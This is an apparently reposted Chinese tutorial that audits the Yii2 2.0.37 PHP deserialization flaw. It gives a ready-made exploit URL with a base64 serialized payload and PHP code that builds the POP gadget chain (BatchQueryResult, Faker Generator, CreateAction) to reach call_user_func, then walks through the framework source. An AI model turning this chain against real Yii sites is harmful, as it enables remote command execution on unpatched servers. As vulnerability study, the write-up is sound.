15-PHP代码审计——yii 2.0.37反序列化漏洞
Posted songly_
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了15-PHP代码审计——yii 2.0.37反序列化漏洞相关的知识,希望对你有一定的参考价值。
Yii是一套基于组件、用于开发大型Web应用的高性能php框架。Yii2 2.0.38 之前的版本存在反序列化漏洞,如果程序内部调用了unserialize() 反序列化时,那么程序就可能存在反序列化漏洞,攻击者可通过构造特定的恶意请求执行任意命令。
影响版本:
yii2 v2.0.37版本以下
环境:
yii-basic-app-2.0.37.tgz
php7.0以上
poc:
http://www.yii2.com/web/index.php?r=test/sss&data=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6NzoicGhwaW5mbyI7czoyOiJpZCI7czoxOiIxIjt9aToxO3M6MzoicnVuIjt9fX19
在github上下载yii框架,网址:https://github.com/yiisoft/yii2/releases/tag/2.0.37
下载完成后,把yii2解压到网站的根目录下,打开浏览器访问yii项目的目录下的requirements.php文件,访问http://www.yii2.com/requirements.php
如果出现以上页面再修改yii项目的config目录下的web.php文件
这里我是放在phpstudy的www目录是C:\\phpStudy\\PHPTutorial\\WWW\\yii2.com\\config,将cookieValidationKey的值随便修改成一个字符串,这里我直接修改成123。
修改完web.php文件后再访问http://www.yii2.com/web/index.php,如果出现以下页面说明安装成功
安装完成后,在yii项目的controllers目录下新建一个TestController.php文件,并编写如下代码
生成poc的代码,如下所示:
<?php
namespace yii\\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'phpinfo';
$this->id = '1';
}
}
}
namespace Faker{
use yii\\rest\\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters['close'] = [new CreateAction(), 'run'];
}
}
}
namespace yii\\db{
use Faker\\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
//进行序列化和base64编码
echo base64_encode(serialize(new yii\\db\\BatchQueryResult));
}
?>
执行以上poc代码,生成payload数据。
然后我们再访问之前提交的poc,浏览器直接回显了phpinfo页面,说明yii反序列化漏洞利用成功
接下来从之前自定义的TestController.php文件开始分析yii的反序列化漏洞。
当TestController反序列化时会调用BaseYii类的静态方法autoload依次完成pop利用链的初始化操作(__construct),yii反序列化漏洞的利用点是BatchQueryResult类的__destruct方法。
public function __destruct(){
// make sure cursor is closed
$this->reset();
}
接着又调用了reset方法:
public function reset(){
if ($this->_dataReader !== null) {
$this->_dataReader->close();
}
$this->_dataReader = null;
$this->_batch = null;
$this->_value = null;
$this->_key = null;
}
reset方法中通过_dataReader属性又调用了close方法,那么_dataReader应该指向了一个对象。
而前面构造的poc中_dataReader属性指向了Generator对象,但Generator类并没有close方法,当一个对象调用了不可访问的方法时会触发__call方法,因此$this->_dataReader->close()这一步实际上会调用__call方法
public function __call($method, $attributes){
return $this->format($method, $attributes);
}
__call方法内部又调用了format方法,该方法内部调用调用了getFormatter函数和call_user_func_array函数,对php函数比较熟悉的同学应该知道,call_user_func_array是一个危险的函数,也就是说前面的__call方法其实是作为一个“跳板”,我们需要通过__call函数来间接调用call_user_func_array函数。
public function format($formatter, $arguments = array()){
return call_user_func_array($this->getFormatter($formatter), $arguments);
}
注意:call_user_func_array函数有两个参数,其中第二个参数是不可控的,重点关注第一个参数。
先分析getFormatter函数,该函数内部先判断是否设置了formatters,然后获取formatters的内容返回,说明formatters可控的,因此在构造pop利用链时可以指定formatters属性的内容
public function getFormatter($formatter){
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
foreach ($this->providers as $provider) {
if (method_exists($provider, $formatter)) {
$this->formatters[$formatter] = array($provider, $formatter);
return $this->formatters[$formatter];
}
}
throw new \\InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
}
接着就调用了call_user_func_array方法并将getFormatter函数获取到的内容以数组的方式作为参数,call_user_func_array函数会根据第一个参数的内容调用了run方法。
public function run(){
if ($this->checkAccess) {
call_user_func($this->checkAccess, $this->id);
}
/* @var $model \\yii\\db\\ActiveRecord */
$model = new $this->modelClass([
'scenario' => $this->scenario,
]);
$model->load(Yii::$app->getRequest()->getBodyParams(), '');
if ($model->save()) {
$response = Yii::$app->getResponse();
$response->setStatusCode(201);
$id = implode(',', array_values($model->getPrimaryKey(true)));
$response->getHeaders()->set('Location', Url::toRoute([$this->viewAction, 'id' => $id], true));
} elseif (!$model->hasErrors()) {
throw new ServerErrorHttpException('Failed to create the object for unknown reason.');
}
return $model;
}
run方法内部通过this对象拿到checkAccess和id(就是phpinfo和1),然后调用 call_user_func危险函数远程执行命令操作。
这里肯定有小伙伴很疑惑CreateAction类的run方法是如何被调用的,在这之前,先来学习一下call_user_func_array函数的用法
<?php
/**
* Created by PhpStorm.
* User: test
* Date: 2021/6/6
* Time: 15:58
*/
//Test类有成员方法和静态方法
class Test{
public function fun1(){
printf("---function fun1---");
}
public static function fun2(){
printf("---function fun2---");
}
}
//直接调用类中的成员方法和静态方法,需要将类名和方法以数组的方式传递
//不实例化来调用Test类的成员方法
call_user_func_array(array("Test", "fun1") , array());
//不实例化来调用Test类的静态方法
call_user_func_array(array("Test","fun2") , array());
//实例化对象调用方法,需要将对象和方法以数组的方式传递
//实例化调用方法
call_user_func_array(array(new test , "fun1") , array());
执行结果如下:
---function fun1------function fun2------function fun1---
在前面的分析中我们知道call_user_func_array函数的第一个参数是由getFormatter函数返回的,也就是说getFormatter函数其实返回的是一个数组,该数组的内容为[new CreateAction , "run"],通过将对象和成员方法以数组的形式作为参数传递给call_user_func_array函数实现调用CreateAction类的run方法,这是一个非常巧妙的利用思路。
最后整理一下yii反序列化漏洞的pop利用链:
到此,漏洞分析完成。
参考文章:
https://blog.csdn.net/xuandao_ahfengren/article/details/111259943
https://my.oschina.net/botkenni/blog/844631
以上是关于15-PHP代码审计——yii 2.0.37反序列化漏洞的主要内容,如果未能解决你的问题,请参考以下文章
[PHP代码审计][CVE-2020-15148]Yii2<2.0.38反序列化命令执行